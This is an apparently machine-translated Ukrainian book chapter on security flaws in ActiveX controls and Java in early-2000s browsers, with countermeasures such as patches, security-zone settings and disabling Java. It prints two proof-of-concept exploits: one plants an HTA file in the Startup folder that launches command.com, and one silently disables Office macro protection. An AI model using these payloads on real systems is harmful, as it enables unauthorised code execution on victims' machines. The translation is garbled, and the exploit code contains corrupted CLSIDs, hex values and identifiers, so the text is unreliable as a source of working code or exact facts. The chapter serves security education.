Елементи ACTIVEX компанії Microsoft
Елементи управління ACTIVEX є результатом повторної спроби фірми Microsoft розробити модель мобільної коди. Їх часто описують як пристосовану для Web технологію створення документів з скріпленням і впровадженням об'єктів (Object Linking and Embedding — OLE). Насправді це сильно спрощене трактування набору інтерфейсів, специфікацій і парадигм розробки, що претендують на винятковість, входять в модель СОМ компанії Microsoft (COM — Component Object Model), яка і складає основу технології ACTIVEX. В той же час подібні спрощення сприяють кращому розумінню. Додатки ACTIVEX можуть створюватися для виконання певних завдань (таких як відтворення відео-ілі звукового файлу). Їх можна помістити на Web-страницу, і тоді ці програми виконуватимуть свої функції при її перегляді точно так, як і технологія OLE підтримує операцію вставки електронних таблиць Excel в документи Word.
Зазвичай файли з елементами управління ACTIVEX мають розширення .OCX (виключенням є елементи управління ACTIVEX, написані на Java). Вони вставляються в Web-страницы за допомогою дескриптора OBJECT, в якому вказано, звідки елемент управління потрібно завантажити. Коли броузер Internet Explorer обробляє Web-страницу з упровадженим в неї елементом управління ACTIVEX (або декількома елементами управління), насамперед він звертається до локального системного реєстру. Там він намагається визначити, чи є на комп'ютері необхідний компонент. Якщо це так, Internet Explorer відображає Web-страницу, завантажує елемент управління в свій адресний простір і виконує його код. Якщо необхідний елемент управління не знайдений, Internet Explorer завантажує його з того місця, яке вказане в дескрипторі <OBJECT>, і встановлює на комп'ютері користувача. Крім того, за допомогою сертифікатів Authenticode (див. нижчий) броузер виконує верифікацію автора коди, а потім запускає його. За умовчанням елементи управління кешируются в каталозі \windows\occache.
Не виходячи за рамки вищеописаної моделі, хакер-програміст може створити елементи управління ACTIVEX, які виконуватимуть на комп'ютері користувача практично все, що захочеться їх авторові. Що ж може допомогти в такій ситуації? Сертифікати Authenticode компанії Microsoft. Ця підсистема дозволяє розробникам використовувати механізми шифрування і створювати для своєї коди криптографічні підписи, які перед запуском елементу ACTIVEX будуть аутентіфіцироваться броузером Internet Explorer і додатками сторонніх виробників (одним з таких виробників є компанія Verisign Corporation).
Як же насправді використовуються сертифікати Authenticode? У 1996 році програміст на ім'я Фреда Маклейн (Fred Mclain) написав елемент управління ACTIVEX, який коректно вимикав призначений для користувача комп'ютер, якщо він працював під управлінням операційної системи Windows 95 з покращуваним управлінням електроживленням. Для цієї коди, названої автором Internet Exploder (вибухова машинка Internet), компанія Verisign видана йому справжній сертифікат, після чого Маклейн розмістив програму на власному Web-узле. В результаті недовгих дебатів про доцільність такої публічної демонстрації моделі безпеки Authenticode, компанії Microsoft і Verisign позбавили Маклейна сертифікату, звинувачуючи його в порушенні зобов'язань, на яких заснований цей документ. Елемент Exploder працює як і раніше, але при цьому він інформує любителів помандрувати в Internet про те, що код не зареєстрований, і дає їм можливість відмовитися від його завантаження.
Автор надає
читачеві можливість вирішити самому, чи можна в цьому випадку вважати, що сертифікати Authenticode виконують свої функції, чи ні. Але не варто забувати про те, що Маклейн міг би написати код, що виконує набагато небезпечніші дії, ніж просте виключення комп'ютера. До того ж він міг виконати все це абсолютно скритно. На сьогоднішній день елементи ACTIVEX як і раніше є важливим механізмом, який забезпечує успішне функціонування багатьох Web-узлов. Проте при цьому нерідко виникають додаткові проблеми, найбільш серйозні з яких обговорюються в наступних розділах.
Прапор "Safe for scripting" технології ACTIVEX
Літом 1999 року Георгій Гунінськи (Georgi Guninski) і Річард М. Сміт (Richard М. Smith) (і не тільки вони) незалежно виявили дві різні вади в методі обробки елементів ACTIVEX броузером Internet Explorer. Встановивши для елементів управління прапор "Safe for scripting" ("помічений як безпечний"), їх розробники можуть повністю обійти звичайну процедуру перевірки сертифікатів Authenticode. Як приклади таких елементів ACTIVEX можна привести Scriptlet. typelib і Eyedog.OCX, призначені для використання в Ie4 і раніших версіях. Якщо для цих елементів управління встановлений прапор "Safe for scripting", то при їх запуску в броузере на екран не виводитиметься ніяких повідомлень.
Можливо, не
варто хвилюватися з приводу елементів управління ACTIVEX, що виконують нешкідливі функції, проте і Scriptlet, і Eyedog мають доступ до файлової системи користувача. Елемент Scriptlet. typelib дозволяє створювати, редагувати і перезаписувати файли, що зберігаються на локальному диску, а Eyedog — звертатися до системного реєстру і здійснювати збір інформації про технічні параметри комп'ютера.
Георгій
Гунінськи написав перевірочний код для елементу управління Scriptlet, який поміщає в каталог Startup видаленого комп'ютера виконуваний текстовий файл з розширенням .нта (додаток HTML — HTML Application). При наступному перезавантаженні системи цей файл виконується, і на екрані відображається нешкідливе повідомлення від Георгія. Нижче
приведений код, що реалізовує дану ідею.
<object
id="scr"
classid="clsid:06290bd5-48aa-hd2-8432-006008c3fbfc" >
</object> <SCRIPT> scr.Reset ();
scr.Path="C:\\windows\\Start
Menu\\programs\\startup\\guninski.hta";
scr.Doc="<object id='wsh'
classid='clsid:f935dc22-1cfo-11do-adb9-ooc04fd58aob'x/
object><script>alert('Written by Georgi Guninski
wsh.Run('с:\\command.com')
;</"+"script>";
scr.write(); </script>
</object>
Цю
ваду інтерфейсів програмного забезпечення, доступ, що дозволяє отримати до них, Річард М. Сміт (Richard M. Smith) назвав "випадковим троянським конем". Встановлені на жорсткий диск багатьох користувачів разом з таким популярними застосуваннями, як IE, дані елементи управління ACTIVEX чекають, поки хто-небудь не встановить з ними видалене з'єднання
(http: //www. tiac.net/users /smiths/acetroj/index.htm).
Масштаби потенційної дії можуть бути страхітливими. Щоб встановити прапор "Safe for scripting" для елементу управління ACTIVEX, потрібно або реалізувати в них інтерфейсiobjectsafety, або помітити їх як безпечні. Для цього в системному реєстрі в ключ Implemented Categories, відповідний даному елементу управління, необхідно додати параметр 7DD95801-9882-11CF-9FA9-OOAA006C42C4
. Часто в системному реєстрі Windows знаходиться декілька десятків таких елементів управління. Для подібних атак можуть бути використані ті з них, які можуть виконувати дії з підвищеними привілеями (наприклад, запис на диск або запуск коди).
Є
декілька способів, що дозволяють визначити, які з елементів управління активно використовуються системою. Для звичайного перегляду активних застосувань СОМ (включаючи елементи управління ACTIVEX), встановлених на комп'ютері, клацніть на кнопці Start, виберіть команду Run і введіть dcomcnfg. При цьому на екрані з'явиться діалогове вікно, представлене на наступному малюнку.
Щоб подивитися, чи є серед цих об'єктів помічені як "Safe for scripting", скористайтеся утилітою oleview з набору NT Resource Kit (її новіша версія входить в середу розробки додатків Visual Studio компанії Microsoft). Утиліта oleview дозволяє проглянути всі зареєстровані в системі об'єкти Com/activex. Крім того, вона виводить їх ідентифікатор класу (CLSID — Class ID), використовуваний при зверненні до цих об'єктів в системному реєстрі, і багато важливих параметрів з поддерева Implemented Categories системного реєстру.
Крім
того, утиліта oleview відображає інтерфейси, що експортуються об'єктами. Це допомагає зрозуміти, чи є даний об'єкт хорошою метою для зломщика, захоплення якої дозволить виконати операції з підвищеними привілеями.
Цілком закономірно,
що майже рік потому хакером Dildog з групи "Cult of the Dead Caw" (див. розділ 4 про знаменитий програмний продукт Back Orifice) був виявлений ще один подібний елемент управління під ім'ям Office 2000 UA (OUA). Він реєструється системою під
час установки компонентів Microsoft Office. Для доказу своєї концепції хакер Dildog створив Web-страницу, за допомогою якої можна видалено інстанцировать
елемент OUA, встановлений в системі користувача, а потім
з його допомогою відключити захист макросів документів Office без попередження користувача. Далі з цієї сторінки завантажується файл з ім'ям evil .doc, у якому міститься простий макрос, що створює файл З: \dildog-was-here. txt. Видалене інетанцированіє OUA здійснюється за допомогою наступної коди, упровадженої на Web-странице. var ua;
function setup() {
// Створення елементу UA
ua =
new Activexobject("Ouactrl.OUACtrl.1");
// Приєднання об'єкту ua до об'єкту ppt ua.WndClass=
"Opusapp"; ua.OfficeApp=0;
// Перевірка того, що об'єкти UA "бачать"
додаток Office return ua.IsAppRunning();
)
function disablemacroprotection()
{
var ret;
// Активізація додатку ua.AppActivate();
// Відображення діалогового вікна захисту макросів
ua.ShowDialog(Охоє2в);
// Клацання на кнопці 'low' ua.SelectTabSDM(Ox!3);
// Клацання на кнопці 'ok' ua.SelectTabSDM(l);
}
function enablemacroprotection()
{
// Активізація додатку
ua.AppActivate ();
// Відображення діалогового вікна захисту макросів
ua.ShowDialog(Oxoe2b);
// Клацання на кнопці 'medium' ua.SelectTabSDM(0x12);
// Клацання на кнопці 'ok'
ua.SelectTabSDM(1); }
// Початок виконання сценарію if(setupo)
{
disablemacroprotection();
parent.frames["blank"].location—
}
</script>
</body>
</html>
Елементи управління, помічені як "Safe for scripting", можуть викликатися також з електронних повідомлень у форматі HTML. В цьому випадку їх набагато легко розмістити в потрібному місці, тому вони можуть бути небезпечніші. Подібні "бомби" обговорюються в наступних розділах, присвячених хакингу через електронну пошту.
Захист від використання прапора "safe for scripting"
Для захисту від цих серйозних вад користувачам Internet можна запропонувати три методи. Ми рекомендуємо скористатися всіма трьома способами.
По-перше, встановите все наявні модулі оновлення.
Проте не забувайте про те, що це лише локальне вирішення проблеми: при використанні цих модулів оновлення прапор "Safe for scripting" буде змінений тільки для конкретних елементів управління. Вони не забезпечують глобального захисту проти будь-яких атак, заснованих на застосуванні інших елементів управління, помічених як безпечні. Ми ще не до кінця обговорили "випадкового троянського коня" і повернемося до нього трохи пізніше.
Другий контрзахід направлений виключно проти елементу OUA і йому подібних, використовуючих для виконання своєї брудної роботи макроси Office. У Office 2000 встановите найвищий рівень захисту макросів (High), вибравши команду
Tools>macro>security (таким чином необхідно набудувати кожне застосування окремо, оскільки це не можна зробити глобально).
Третя і найбільш ефективний контрзахід полягає в обмеженні використання або повному відключенні елементів управління ACTIVEX. Про те, як це зробити, розповідається в розділі, присвяченому зонам безпеки. Але перед цим слід приділити увагу ще одній ваді, пов'язаній з елементами ACTIVEX.
Розробникам можна
порадити, щоб вони не встановлювали прапор "Safe for scripting" для тих елементів управління, які виконують в призначеній для користувача системі дії з високими привілеями. Звичайно, це стосується тільки тих, хто не хоче перевершити Георгія Гунінського.
Після інстанцированія елементи управління ACTIVEX залишаються в пам'яті до тих пір, поки не будуть вивантажені. Для цього в командному рядку введіть команду regsvr32
/u [Імя_елемента].
Активне завантаження файлів
Незалежний дослідник проблем безпеки Хуан Карлос Гарсия Квартанго (Juan Carlos Garci'a Cuartango), увагу якого особливо привертає броузер Internet Explorer, помістив на своєму Web-узле інформаційне повідомлення про одну з його вад. Це виявилося настільки важливим, що сообшеніє було перекладене англійською мовою (тоді як решта інформації вузла була представлена на іспанському). Суть вади полягає в можливості генерування стану відмови в обслуговуванні (DOS — Denial of Service), якщо для завантаження файлів з розширенням .CAB, що мають сертифікат компанії Microsoft, використовується елемент управління ACTIVEX. При цьому файли завантажуються в будь-яке вказане місце диска, навіть якщо для цього необхідно записати їх поверх інших файлів.
Контрзаходи
Компанія Microsoft випустила відповідний модуль оновлення, який можна знайти за адресою
http://www.microsoft.com/security (Bulletin Ms00-42).
У системі Windows 2000 захист певних системних файлів від перезапису забезпечує служба WFP (Windows File Protection).
Розумне використання зон безпеки: загальне вирішення проблеми елементів ACTIVEX
Можливо,
до цього моменту багато читачів прийшли до висновку, що елементи управління ACTIVEX стали прокляттям клієнтів Internet, що порушує спокій і безпеку користувачів. Така думка не враховує основну закономірність: чим могутнішою і поширенішою стає технологія, тим більший потенціал в ній поміщений. І ця вада здатна привести до різних, у тому числі і до руйнівних наслідків. Елементи управління ACTIVEX — могутня і популярна технологія; тому вона може принести велику шкоду, якщо служить зловмисним цілям (більш повно можливості ACTIVEX розкриті в подальших розділах, де розповідається про хакинге електронної пошти). Кінцеві користувачі завжди прагнуть до автоматизації виконання своїх повсякденних завдань, і елементи ACTIVEX — це один з інструментів, який здатний задовольнити ці потреби. Можна просто закрити очі і сподіватися, що на сьогодні все обійдеться, а потім на зміну цьому програмному забезпеченню прийде нове. Проте це далеко не кращий вихід. Нові технології, що знаходяться десь за горизонтом, швидше за все, таїтимуть в собі приблизно ті ж небезпеки.
Загальним вирішенням проблеми, пов'язаної з елементами управління ACTIVEX (не важливо, чи зв'язана вона з використанням прапора "safe for scripting"), є обмеження їх можливості здійснювати над системою привілейований контроль. Для цього потрібний певне розуміння одне з найбільш значних аспектів забезпечення безпеки системи Windows — зон безпеки (security zone). Тому для підвищення ступеня захисту необхідно навчитися правильно їх використовувати.
Одному з кращих посилань по цій темі є стаття Q174360 з бази знань компанії Microsoft
(http://support.microsoft.com). Там ви знайдете багато цінної інформації про зони безпеки.
По суті, модель
зон безпеки дозволяє визначати різні рівні довіри для коди, що завантажується з однією з чотирьох зон: Local Intranet (Місцева зона (інтрамережа)), Trusted Sites (Зона надійних вузлів), Internet (Зона Internet) і Restricted Sites (Зона обмежених вузлів). Існує ще п'ята зона, яка називається Local Machine (Локальна машина), проте в призначеному для користувача інтерфейсі вона недоступна, набудувати її можна тільки за допомогою засобів адміністрування IEAK (IE Administration
Kit)
У будь-яку зону, за винятком зони Internet, вузли можна додавати уручну. У зоні Internet містяться всі вузли, не включені в будь-яку іншу зону, які містять в своєму URL символ крапки (.) (наприклад, вузол http: //local за умовчанням входить в місцеву зону, тоді як вузол
http://www.microsoft.com знаходиться в зоні Internet, оскільки в його адресі зустрічаються крапки). При відвідинах вузла, що входить в якусь зону, активізуються відповідні нею параметри безпеки (наприклад, залежно від цього можливість запуску елементів управління ACTIVEX ("Run ACTIVEX controls") може бути дозволена або заборонена). Тому дуже важливо правильно набудувати зону Internet, оскільки за умовчанням до неї відносяться всі відвідувані користувачами вузли. Звичайно, якщо уручну додати вузол в іншу зону, то на нього це правило розповсюджуватися вже не буде. При переміщенні вузлів з однієї зони в іншу будьте дуже уважні (у корпоративних локальних мережах наповнення інших зон зазвичай проводиться адміністраторами цих мереж).
Щоб
набудувати параметри безпеки зони Internet, виберіть в броузере Internet Explorer команду Tools^internet Options і перейдіть у вкладку Security (або запустите аплет Internet Options панелі управління). Потім виберіть в списку, що розкривається, елемент Internet zone і задайте необхідний рівень безпеки. Ми рекомендуємо встановити рівень безпеки High, а потім вибрати режим Custom Level і уручну набудувати дещо інших параметрів, як показано в таблиці. 16.1.
Таблиця 16.1. Параметри безпеки зони
Internet( налаштування рівня Custom Level
потрібно виконувати після того, як за умовчанням заданий
рівень безпеки High), що рекомендуються
Категорія
|
Ім'я параметра
|
Режим
|
Коментар
|
ACTIVEX controls and plug-ins (елементи управління ACTIVEX і модулі підключення)
|
Script ACTIVEX controls marked as safe for
scripting
(виконувати сценарії елементів управління ACTIVEX, помічених як безпечні)
|
Disable (відключити)
|
На погляд авторів, пояснення зайві
|
Cookies (файли "cookie")
|
Allow per-session cookies (not stored) (дозволити використання cookies протягом одного сеансу (без збереження))
|
Enable (використовувати)
|
Ми вважаємо
за краще використовувати режим Prompt (запрошувати), але тоді постійно виникаюче вікно підтвердження стає дуже настирливим
|
Downloads (завантаження)
|
File download (завантаження файлу)
|
Enable (використовувати)
|
Хотілося б в цьому пункті порекомендувати
режим Prompt, проте здоровий глузд підказує, що краще встановити
режим Enable
|
Scripting (сценарії)
|
Active scripting (активні сценарії)
|
Prompt (запрошувати)
|
В даному випадку не можна сформулювати
чіткі критерії, тому краще активізувати консервативніший режим
|
Параметри,
що дозволяють заборонити використання елементів управління ACTIVEX, показані на мал. 16.1.
Відключення
елементів управління ACTIVEX може позначитися на можливості проглядання вузлів, на яких відображення різних спецефектів засноване на цих елементах. На зорі розвитку Web динамічна робота багатьох вузлів в значній мірі залежала від завантажуваної коди, у тому числі і від елементів ACTIVEX. На щастя, в даний час ця парадигма все більше витісняється розширеннями мови HTML і сценаріями, що виконуються на сервері. Тому при роботі з більшістю вузлів відключення елементів ACTIVEX не приведе до виникнення проблем, як це було раніше. Очевидним виключенням з цього правила є вузли, на яких використовуються елементи управління Shockwave компанії Macromedia. При спробі проглядання таких вузлів на екрані з'явиться наступне повідомлення.
Мал. 16.1. Відключення елементів управління ACTIVEX за допомогою аплета Internet Options панелі управління дозволить захистити систему від завантаження шкідливих елементів управління з ворожих Web-страниц
Якщо ви все ж
таки хочете скористатися перевагами звукових і анімаційних ефектів, що забезпечуються елементами Shockwave, доведеться допустити використання елементів ACTIVEX (звичайно, якщо не задіяний броузер Netscape, в якому елементи Shockwave виступають як модулі, що підключаються). Іншим орієнтованим на елементи ACTIVEX вузлом, який відвідується багатьма користувачами, є вузол Windows Update компанії Microsoft (WU), на якому елементи ACTIVEX використовуються для сканування
комп'ютера користувача, а також для завантаження і установки потрібних модулів доповнення. Цей Web-узел виявився вдалою ідеєю. Він дозволяє заощадити величезну кількість часу, потрібного для пошуків окремих модулів оновлення (що особливо важливе для забезпечення безпеки!), і автоматично визначити, чи була раніше встановлена правильна версія. Проте ми не думаємо, що із-за одного вузла, що надає такі зручності, варто повністю вирішувати використання елементів управління ACTIVEX. Ще гірше те, що після заборони використання елементів ACTIVEX в броузере Internet Explorer не можна скористатися механізмом автоматичного пошуку адреси по фрагменту URL, введеному в адресному рядку (наприклад, коли по підрядку
mрз потрібно знайти вузол http: //www.mp3. com).
Одне з можливих вирішень цієї проблеми полягає в ручному включенні режиму застосування елементів ACTIVEX під час відвідин надійного вузла. Потім його доведеться відключити, і знову уручну. Розумно занести ці вузли в зону надійних вузлів. Привласніть цій зоні нижчий рівень безпеки (рекомендується Medium (Середній)), а потім додайте в неї надійні вузли, наприклад WU (windowsupdate.microsoft.com). Таким чином, при відвідинах вузла WU застосовуватимуться менш жорсткі параметри безпеки, і будуть доступні можливості вузла, зв'язані з використанням елементів ACTIVEX. Аналогічне додавання в зону Trusted Sites вузла auto.search.msn.com дозволить задати відповідні установки безпеки, що дозволяють здійснювати пошук по вмісту адресного рядка. Зручно, чи не так?
Дотримуйтеся обережності і додайте в зону надійних вузлів тільки ті з них, які користуються високим ступенем довіри, оскільки до них застосовуватиметься менше обмежень, пов'язаних із завантаженням їх активного вмісту і запуском. Слід мати на увазі, що навіть респектабельний Web-узел може бути зламаний хакерами-зловмисниками, або в групі його розробників може опинитися негідник, що полює за даними користувачів (а можливі і гірші варіанти).
Для
безпечного читання електронних повідомлень додатку Outlook і Outlook Express можна набудувати так, щоб в них теж враховувалися зони безпеки. Параметри Outlook і Outlook Express дозволяють вибрати зону, рівень безпеки якої використовуватиметься при обробці вмісту, що відображається поштовою програмою. Є дві можливості: Internet і Restricted Sites. Звичайно ж, рекомендується вибрати зону обмежених вузлів (новий модуль Outlook 2000 Security Update виконує цю установку самостійно). Переконаєтеся в тому, що в параметрах зони Restricted Sites повністю відключені всі категорії активного вмісту! Для цього встановите рівень безпеки High, а потім задайте режим Custom Level і відключите всі режими, які залишилися включеними (якщо їх відключити не можна, встановите перемикач в положення, відповідне найвищому рівню безпеки). Процес налаштування зони Restricted Sites в Outlook показаний на мал. 16.2д
Як і в Internet Explorer, в Outlook можна пом'якшити найсильніші обмеження. Проте в електронних повідомленнях активний вміст зустрічається рідше, ніж на Web-страницах. Тому застережливі повідомлення про них доставляють менше неспокою. Проте в цьому випадку небезпека, що виникає в процесі інтерпретації повідомлення, набагато перевищує переваги його естетичного сприйняття. Читачам, які не довіряють цьому твердженню, рекомендується дочитати розділ до кінця. Чудовою особливістю зон безпеки є те, що з їх допомогою можна змусити Outlook поводитися консервативніше, ніж web-броузер. Гнучкість програмного забезпечення і уміння правильно користуватися його параметрами приведе до підвищення безпеки.
Мал. 16.2. За допомогою команди Tools >Options>security користувачі Outlook знайдуть схожі (але все таки різні) групи параметрів, що дозволяють захиститися від атак, які реалізуються за допомогою повідомлень електронної пошти
Вади в системі захисту Java
У
1990 році компанія Sun Microsystems вирішила створити парадигму програмування, яка допомогла б вирішити багато проблем розробки програм, що стоять перед їх творцями ще з часів зародження обчислювальної техніки. В результаті одним пострілом вдалося убити двох зайців: створити нову мову Java і попутно вирішити багато традиційних проблем забезпечення безпеки. Більшість людей вважають, що мова Java безпечна на все 100%, оскільки із самого початку був задуманий як щось виняткове. Ця думка значною мірою підкріплюється маркетинговою політикою компанії Sun. Звичайно ж, забезпечити абсолютну безпеку неможливо. Проте шляхи її підвищення, вживані в Java, поза сумнівом, представляють певний інтерес. (Нижче буде розглянута архітектура Java 2, або JDK 1.2, яка у момент написання книги була поточною.)
Java —
ретельно продумана мова, що дозволяє програмістам уникнути багатьох помилок, які можуть привести до таких проблем безпеки, як переповнювання буфера. На етапі компіляції і виконання віртуальною машиною Java (JVM — Java Virtual Machine) і вбудованим механізмом перевірки байт-кода здійснюється строгий контроль типів, що допомагає захистити використовувані програмою області пам'яті. Крім того, в мові Java не підтримується доступ до пам'яті і маніпуляція нею за допомогою покажчиків, що дозволяють програмістові управляти використанням і завантаженням коди.
Крім того, в JVM є
вбудований диспетчер безпеки (Security Manager), що виконує контроль доступу до системних ресурсів. Його робота заснована на політиці безпеки, що задається користувачем. Разом з перевіркою типів ці концепції створюють обмежувальний бар'єр, що не дозволяє коду Java виконувати привілейовані дії без явної згоди користувача. На додаток до всього вищесказаного мова Java дозволяє використовувати сертифікати, що визначають ступінь "надійності" завантаженої ззовні коди або довіри до нього. Грунтуючись на своїй довірі до даного сертифікату, користувач ухвалює рішення, запускати даний код чи ні (що багато в чому нагадує роботу Authenticode).
Нарешті, специфікація Java відкрита для широкої громадськості, з якою без проблем можна познайомитися за адресою
http://java.sun.com. Очевидно, така відвертість для критики і аналізу приводить до природного відбору і позбавлення від різних недоліків.
Теоретично
ці механізми подолати украй складно (фактично, для багатьох з них є формальний доказ їх безпеки). Проте на практиці механізми безпеки Java були зламані багато раз. Це відбулося з тієї ж добре відомої причини, коли в процесі реалізації порушуються принципи, закладені при проектуванні. Хороший огляд, присвячений історії розвитку механізмів забезпечення безпеки в Java, можна знайти на Web-странице Secure Internet Programming Прінстонського університету. У подальших розділах описуються основні проблеми останніх реалізацій Java, що надають найбільший інтерес для користувачів клієнтських застосувань.
Помилки JVM броузера Netscape Communicator
У квітні 1999 року співробітник університету (Німеччина) Марбургського Карстен Зор (Karsten Sohr) виявив ваду важливого компоненту безпеки JVM броузера Netscape Communicator. При певних обставинах віртуальна машина Java не перевіряє завантажуваний в неї код. Використання цієї вади дозволяє зломщикові запустити код, руйнівний механізми перевірки типів Java, і реалізувати злом із змішенням типів (type confusion attack). Це класичний приклад відступу реалізації від первинного задуму.
Відключення Java в броузере Netscape
Відновите поточну версію Netscape, або відключите Java, виконавши наступні дії (мал. 16.3).
1. У програмі Communicator виберіть команду Edit^preferences.
2.
У діалоговому вікні Preferences, що з'явилося, виберіть категорію Advanced.
3. У цьому ж діалоговому вікні скиньте прапорець Enable Java.
4. Клацніть на кнопці ОК.
Автори вважають, що можливість використання сценаріїв Javascript можна оста-віто включеною. До того ж в даний час сценарії Javascript настільки інтенсивно використовуються Web-узлами, що від них практично неможливо відмовитися. Проте ми настійно рекомендуємо відключити можливість застосування Javascript в поштовому клієнтові і додатку читання новин програми Netscape, як це показано на мал.
16.3
Мал. 16.3. Відключите Java в Netscape Communicator, щоб захиститися проти небезпечних аплетов Java. Сценарії Javascript є меншою небезпекою, проте цей різким має бути відключений для служб Mail і News
Вада в механізмі забезпечення безпеки Microsoft Java
У броузере Internet Explorer незабаром була виявлена аналогічна помилка. Із-за недоліків реалізації механізму забезпечення безпеки в JVM компанії Microsoft з'явилася можливість повністю обійти механізми захисту за допомогою хитрого запрограмованого аплета, розміщеного на видаленому Web-сервере, або вбудованого в повідомлення електронної пошти у форматі
HTML.
Усунення помилок в Internet Explorer
Щоб дізнатися, чи уразлива використовувана вами версія програми, введіть в командному рядку команду jview. Знайдіть номер збірки (останні чотири цифри номера версії) і визначите, до якої з наступних категорій він відноситься.
Версія
|
Стан
|
1 520 або нижче
|
Помилка відсутня
|
2000-2438
|
Є помилка
|
3000-3167
|
Є помилка
|
Не дивуйтеся, якщо після виконання команди jview опиниться, що вада існує, навіть якщо Internet Explorer не встановлений. Деякі інші продукти компанії Microsoft, такі як Visual Studio, теж встановлюють віртуальну машину
Java. Під час написання цього розділу немало був здивований і автор, коли з'ясував, що у нього на комп'ютері теж встановлена версія JVM з вадою. Вона була встановлена разом з IE 5.0 через рік з моменту випуску модуля оновлення!
Модуль оновлення, який називається Virtual Machine Sandbox, можна знайти за адресою
http://www.microsoft.com/windows/ie/security/default.asp у списку інших модулів оновлення броузера Internet Explorer. Як крайній захід можна спробувати навіть повністю відключити Java, хоча в цьому випадку Web-страницы з аплетамі Java (які працюють з боку клієнта) втратять всю свою привабливість. Щоб відключити Java в Internet Explorer, потрібно виконати дії, описані в одному з попередніх розділів, присвяченому зонам безпеки. Крім того, окрім установки рівня безпеки High для зони Internet, потрібно також уручну відключити всі параметри, які посилаються на Java.
Brown Orifice і нові помилки в Java
Літом 2000 року
Дан Брумльов (Dan Brumleve) повідомив про дві виявлені вади. що відносяться до реалізації Java в Netscape Communicator. Зокрема, він встановив, що в деяких файлах бібліотек класів Java при виконанні певних операцій не виконується належна перевірка безпеки або результати цієї перевірки ігноруються. У число класів, про які йде мова, входить клас java.net. Serversocket, використовуваний для створення мережевих сокетів, що прослуховуються, для вхідних мережевих з'єднань, а також класи netscape, net. Urlconnection і netscape.net.URLlnputSteam, абстрактні стандартні методи читання локальних файлів, що містять. У всіх цих трьох класах містяться методи, в яких некоректно викликається метод Securitymanager .check, що визначає, чи дійсно даний аплет володіє правами доступу, необхідними для виконання деяких дій. Якщо перевірка завершилася невдачею, то це виключення ігнорується.
Обидва
цих вади були закладені в реалізацію аплета Java, в якому перераховані методи служать для створення портів прослуховування і отримання права на читання файлової системи. Дан написав код на мові Java і помістив його на своєму Web-узле як приклад, що ілюструє справедливість концепції і можливість використання виявлених вад для злому броузеров Internet. Він створив просту форму, що дозволяє користувачеві вибирати каталог для сумісного застосування і порт, який необхідно прослуховувати. Ця інформація передавалася в сценарій CGI на мові Perl, яка зверталася до розробленим Даном класам Java, встановлюючи можливість сумісного звернення до вказаних каталогів і створюючи з боку клієнта порти прослуховування, пов'язані з цими каталогами.
Демонструючи прекрасне відчуття гумору, Дан поклопотався про підтримку можливостей, подібних до можливостей програмного продукту Napster, дозволяючи користувачам спільно працювати з файлами через однорангову мережу, яка створюється мільйонами користувачів, ведучих обмін даними за допомогою протоколу HTTP. Проте недооцінювати серйозність проблеми не слід, хоч би тому, що вона дозволяє встановлювати доступ до даних і виконувати їх читання. Виявлена Даном помилка достатньо небезпечна. Вона дозволяє користувачам вибрати видалений каталог, до якого вони хочуть мати доступ. Можна розробити і небезпечніші аплети, які можуть працювати скритніше і виявляти кожну систему з броузером Netscape, де можна поживитися важливою інформацією.
Контрзаходи проти Brown Orifice
Як завжди, єдиний надійний спосіб захисту від небезпечних аплетов полягає в забороні використання Java в web-броузере. Зробити це можна в броузере Netscape, як описано вищим в розділі "Відключення Java В Броузере Netscape" і показано на мал. 16.3. Ми рекомендуємо використовувати ці параметри користувачам Netscape.
Компанія
Netscape не поклопоталася про розробку модулів оновлення, що знімають помилку. Дана вада є у версіях з 4.0 по 4.74 броузера Communicator, які можна використовувати в операційних системах Windows, Macintosh і UNIX. У Netscape 6 цієї помилки немає.
|